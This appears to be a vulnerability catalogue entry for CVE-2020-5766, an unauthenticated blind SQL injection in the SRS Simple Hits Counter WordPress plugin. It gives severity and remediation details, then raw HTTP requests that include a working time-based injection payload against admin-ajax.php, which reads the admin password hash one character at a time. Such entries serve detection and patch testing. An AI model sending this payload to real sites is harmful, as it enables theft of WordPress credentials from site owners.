| Title | SRS Simple Hits Counter 1.0.3-1.0.4 - Unauthenticated Blind SQL Injection |
|---|---|
| Author | DhiyaneshDk |
| Severity | High |
| Impact | Unauthenticated attackers can extract database contents via blind SQL injection, potentially exposing sensitive WordPress user data and credentials. |
| Remediation | Update to the latest version of SRS Simple Hits Counter plugin. |
| CVSS Score | 7.5 |
| EPSS Score | 0.39068 |
| CVE ID | CVE-2020-5766 |
| CWE ID | CWE-89 |
| Tags | cve cve2020 srs-simple-hits-counter wordpress wp wp-plugin time-based-sqli sqli vkev vuln |
Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) in SRS Simple Hits Counter Plugin for WordPress 1.0.3 and 1.0.4 allows a remote, unauthenticated attacker to determine the value of database fields.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/617.29 (KHTML, like Gecko) Version/17.7 Safari/617.29
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=srs_update_counter&post_id=1+and+1=0)+union+select+(select+if(ascii(substring((select+user_pass+from+wp_users+where+user_login=char(97,100,109,105,110)),%d,1))=%d,sleep(6),sleep(0))),1,1,1,1,1;-- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5766.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-5766.pcap
N/AN/A